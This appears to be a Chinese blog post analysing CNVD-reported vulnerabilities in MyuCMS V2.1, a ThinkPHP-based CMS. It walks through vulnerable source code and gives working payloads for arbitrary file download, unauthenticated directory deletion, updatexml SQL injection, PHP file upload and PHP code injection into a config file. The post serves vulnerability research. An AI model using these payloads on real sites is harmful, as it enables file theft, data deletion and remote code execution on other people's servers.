MyuCMS_V2.1漏洞分析

前言

本文首发于先知社区 MyuCMS_V2.1漏洞分析

在CNVD看到一个MyuCMS的一个任意文件删除漏洞。然后去搜了下这个CMS,发现官网公告显示在V2.2.3版本修复了CNVD提供的多处漏洞。

怀着好奇的心里,去CNVD搜了下这个CMS,结果发现V2.1版本存在多处高危漏洞。既然这样,就来分析下这些漏洞产生的原因和利用方式。

过程分析

MyuCMS 基于 Thinkphp 5.0.24 开发

前台任意文件下载(中危)

既然是文件下载,先在整个项目中搜索下 download 关键字,尝试看看能不能直接定位到关键代码。

通过搜索定位到 bbs 模块下的 Index 控制器的 download 方法。

download 方法接受三个参数,这三个参数我们是完全可控的,单从 download 这个方法来看,无任何参数内容限制,直接将 $url$name 两个参数传递给了 Http 类的 download 方法来执行下载。

Http->download() 方法中还未对参数内容进行限制,便会造成任意文件下载漏洞。

接下来,我们跟进 Http->download() 方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
static public function download ($filename, $showname='',$content='',$expire=180) {
if(is_file($filename)) { //判断 $filename 是否为文件
$length = filesize($filename); // 获取 $filename 的文件大小
}elseif($content != '') {
$length = strlen($content);
}else {
throw_exception($filename.L('下载文件不存在!')); // 若文件不存在抛出异常
}
if(empty($showname)) {
$showname = $filename; // $showname 为下载后文件的名称。若未设置则与被下载文件同名
}
$showname = basename($showname); //获取路径中的文件名部分
if(!empty($filename)) {
$type = mime_content_type($filename); //获取文件的MIME类型
}else{
$type = "application/octet-stream";
}
//发送Http Header信息 开始下载
header("Pragma: public");
header("Cache-control: max-age=".$expire);
//header('Cache-Control: no-store, no-cache, must-revalidate');
header("Expires: " . gmdate("D, d M Y H:i:s",time()+$expire) . "GMT");
header("Last-Modified: " . gmdate("D, d M Y H:i:s",time()) . "GMT");
header("Content-Disposition: attachment; filename=".$showname);
header("Content-Length: ".$length);
header("Content-type: ".$type);
header('Content-Encoding: none');
header("Content-Transfer-Encoding: binary" );
if($content == '' ) {
readfile($filename); // 读取文件内容并输出,从而实现下载
}else {
echo($content);
}
exit();
}

由如上代码我们可以看出,Http->download() 方法中同样未对传入的参数进行内容限制,只实现了下载的业务逻辑。

Payload

所以,由此可以得出任意文件下载的payload。

1
2
Payload: http://xxxxxxxxx/bbs/index/download?url=application/database.php&name=&local=1
Payload: http://xxxxxxxxx/bbs/index/download?url=c:/windows/win.ini&name=&local=1

任意目录删除漏洞(高危)

在CNVD上看到的是任意文件删除。但我搜索过后发现只能删除任意目录,并不能只删除单独一个文件。

先全文搜索 unlink 函数,定位到存在文件删除功能的代码段。

定位到 application/common.php 中的 deleteun 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function deleteun($dir_name)
{
$result = false;
if (is_dir($dir_name)) { // 判断是否为目录
if ($handle = opendir($dir_name)) { // 打开目录
while (false !== ($item = readdir($handle))) { // 通过这个 while 遍历目录中的文件
if ($item != '.' && $item != '..') {
if (is_dir($dir_name . DS . $item)) { // 若遍历到的文件为子目录,则递归调用deleteun
deleteun($dir_name . DS . $item);
} else {
unlink($dir_name . DS . $item); // 删除遍历到的文件
}
}
}
closedir($handle); // 关闭文件夹
if (rmdir($dir_name)) { // 删除该目录
$result = true;
}
}
}

return $result;
}

根据 deleteun 函数的实现代码来看,我们可以看到该函数中对传入的参数无任何限制。

然后在整个项目中搜索,看哪个文件中调用了 deleteun 函数。

发现总共三处两个文件调用了该函数,且这三处代码内容相同,只不过是传递给的 deleteun 函数的参数不同,我们可以判断出,这三处都可以触发任意目录删除漏洞。

这三处的不同之处在于。Muban.php 继承了 Common 类,在 Common 类中实现了对于是否已经登录的验证。实现代码如下。

1
2
3
4
5
6
7
public function _initialize(){
if(!session('usermail') || !session('kouling')){
$this->error('请登录',url('login/index'));
print s();
}

}

Addons.php 继承自 AdminBase 类,且初始化时执行父类 AdminBase_initialize() 方法,在 AdminBase 类中调用了父类 Controller_initialize() 方法。而父类的 Controller_initialize(); 方法的实现内容为空。

所以 Addons.php 在未登录的情况下也可以访问。这意味我们不需要登录后台也可以触发任意目录删除漏洞。

Payload

所以给出 Payload 如下,即可删除整个 install 目录

1
Payload: http://xxxxxxxxx/admin/Addons/un?info=../install

SQL注入漏洞(高危)

在 CNVD 上的描述为,MyuCMS us***_xi***.html页面存在SQL注入漏洞

通过对整个项目文件的搜索,最终确定为 user_xiaoxi.html 文件。

该视图文件,对应的控制器为 application/bbs/controller/User.php 。显示消息为 User->xiaoxi() 方法。该方法中无用户可控参数。所以注入不可能在此方法中。

如图所示功能处可将未读消息更改为已读消息。同时我们抓包观察。未读消息为其他用户在登录用户发布的文章下留言所产生。

可以发现,该功能对应的路由地址,以及所提交的参数。我们找到路由地址对应的方法为 User->xiaoxidel() 代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public function xiaoxidel($ids)
{
if (!session('userid') || !session('username')) { // 进行登录判断
$this->error('亲!请登录',url('bbs/login/index'));
} else {
if ($ids==0) { // 根据 ids 参数来判断执行的动作为标记消息还是删除消息
$id = input('id'); // 通过input助手函数获取需要操作的消息对应的 id
$data['open'] = 1;
if (Db::name('xiaoxi')->where("id = {$id}")->where('userid', session('userid'))->update($data)) { // 此处第一个 where() 使用字符串条件时没有配合预处理机制,所以会直接将 id=$id 拼接到SQL语句中。从而造成了SQL语句可控,形成注入。
return json(array('code' => 200, 'msg' => '标记已读成功'));
} else {
return json(array('code' => 0, 'msg' => '标记已读失败'));
}
}elseif ($ids==1){
$id = input('id');
if (Db::name('xiaoxi')->where("id = {$id}")->where('userid', session('userid'))->delete($id)) {
return json(array('code' => 200, 'msg' => '彻底删除成功'));
} else {
return json(array('code' => 0, 'msg' => '彻底删除失败'));
}
}
}
}

上述代码中,未对 $id 的内容进行限制,而是直接带入到了SQL语句中,且该CMS并未设置全局过滤。所以导致了此处注入的产生。

Payload

Payload如下

1
Payload: id=2) and updatexml(1,concat(0x7e,(select database()),0x7e),1)  and (1

在下图所示位置打上断点,即可查执行的SQL语句

文件上传漏洞(高危)

CNVD 上对应的标题为 myucms fo***.php页面存在文件上传漏洞

搜索项目中fo开头的文件,定位到 application/admin/controller/Forum.php 中的 doUploadPic 方法

1
2
3
4
5
6
7
8
9
public function doUploadPic()
{
$file = request()->file('FileName');
$info = $file->move(ROOT_PATH . DS . 'uploads');
if($info){
$path = WEB_URL . DS . 'uploads' . DS .$info->getSaveName();
echo str_replace("\\","/",$path);
}
}

可以看到上述代码调用了 Thinkphp 内置的 move 方法来对上传的文件进行处理。但是在调用 move 方法前未调用 validate() 方法来设置验证规则。所以此处存在任意文件上传。

Payload

根据 doUploadPic() 方法构建 Payload数据包 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /admin/forum/doUploadPic HTTP/1.1
Host: www.myu.io
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------18467633426500
Cookie: PHPSESSID=l6ijpio06mqmhcdq654g63eq90; UM_distinctid=170343d2b4a291-0a4e487f247e62-4c302978-1fa400-170343d2b4b28f; CNZZDATA1277972876=1874892142-1581419669-%7C1581432904
Upgrade-Insecure-Requests: 1
Content-Length: 206

-----------------------------18467633426500
Content-Disposition: form-data; name="FileName"; filename="1.php"
Content-Type: image/jpeg

<?php phpinfo(); ?>
-----------------------------18467633426500--

命令执行(高危)

CNVD上没有说明存在的页面。我找到的是一处能控制 extre/web.php 内容的漏洞。

漏洞成因是使用 file_put_contents 函数更新 extre 下配置文件的内容时,未对参数内容做限制,直接写入造成。

相同原理漏洞影响3个文件共5处。分别为 application/admin/controller/Config.phpapplication/admin/controller/Muban.phpapplication/admin/controller/Point.php

此处以 application/admin/controller/Config.php 下的 add() 方法为例分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public function add()
{
$path = 'application/extra/web.php';
$file = include $path; // $file 的内容为 web.php 中返回的配置数组的值
$config = array( // 读取 post 中提交的配置内容
'WEB_RXT' => input('WEB_RXT'),
'WEB_GL' => input('WEB_GL'),
'WEB_REG' => input('WEB_REG'),
'WEB_TAG' => input('WEB_TAG'),
'WEB_OPE' => input('WEB_OPE'),
'WEB_BUG' => input('WEB_BUG'),
'WEB_BBS' => input('WEB_BBS'),
'WEB_SHOP' => input('WEB_SHOP'),
'WEB_INDEX' => input('WEB_INDEX'),
'WEB_KEJIAN' => input('WEB_KEJIAN'),
'WEB_KEJIANS' => input('WEB_KEJIANS'),
'Cascade' => input('Cascade'),
//七牛
'bucket' => input('bucket'),
'accessKey' => input('accessKey'),
'secrectKey' => input('secrectKey'),
'domain' => input('domain'),
'qiniuopen' => input('qiniuopen'),
);
$res = array_merge($file, $config); // 合并两个数组
$str = '<?php return [';
foreach ($res as $key => $value) { // 循环数组,生成新的配置内容
$str .= '\'' . $key . '\'' . '=>' . '\'' . $value . '\'' . ',';
}
$str .= ']; ';
if (file_put_contents($path, $str)) { // 将配置内容写入 web.php 文件
return json(array('code' => 200, 'msg' => '修改成功'));
} else {
return json(array('code' => 0, 'msg' => '修改失败'));
}
}

Payload

Payload数据包如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /admin/config/add.html HTTP/1.1
Host: www.myu.io
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 327
Origin: http://www.myu.io
Connection: close
Referer: http://www.myu.io/admin/config/index.html
Cookie: PHPSESSID=l6ijpio06mqmhcdq654g63eq90; UM_distinctid=170343d2b4a291-0a4e487f247e62-4c302978-1fa400-170343d2b4b28f; CNZZDATA1277972876=1874892142-1581419669-%7C1581432904; XDEBUG_SESSION=XDEBUG_ECLIPSE

WEB_KEJIAN=0&WEB_KEJIANS=0&WEB_INDEX=bbs',phpinfo(),'&WEB_RXT=rar,png,zip,jpg,gif,ico,7z&qiniuopen=0&secrectKey=0&accessKey=0&domain=0&bucket=0&Cascade=1&WEB_BUG=true&WEB_REG=1&WEB_OPE=1&WEB_GL=0&WEB_BBS=1&WEB_SHOP=1&WEB_TAG=%e6%8f%92%e4%bb%b6%2c%e5%bb%ba%e8%ae%ae%2c%e6%a8%a1%e6%9d%bf%2c%e7%ad%be%e5%88%b0%2c%e5%8f%8d%e9%a6%88

写入的内容和效果如下:

结束

限于水平有限,有些 CNVD 上有记录到的洞没分析到。我也看了官网最新的 V2.2.3 版本针对某些漏洞的修复是不完善的,针对最新版本,鉴于目前官网没有修复,就不写了。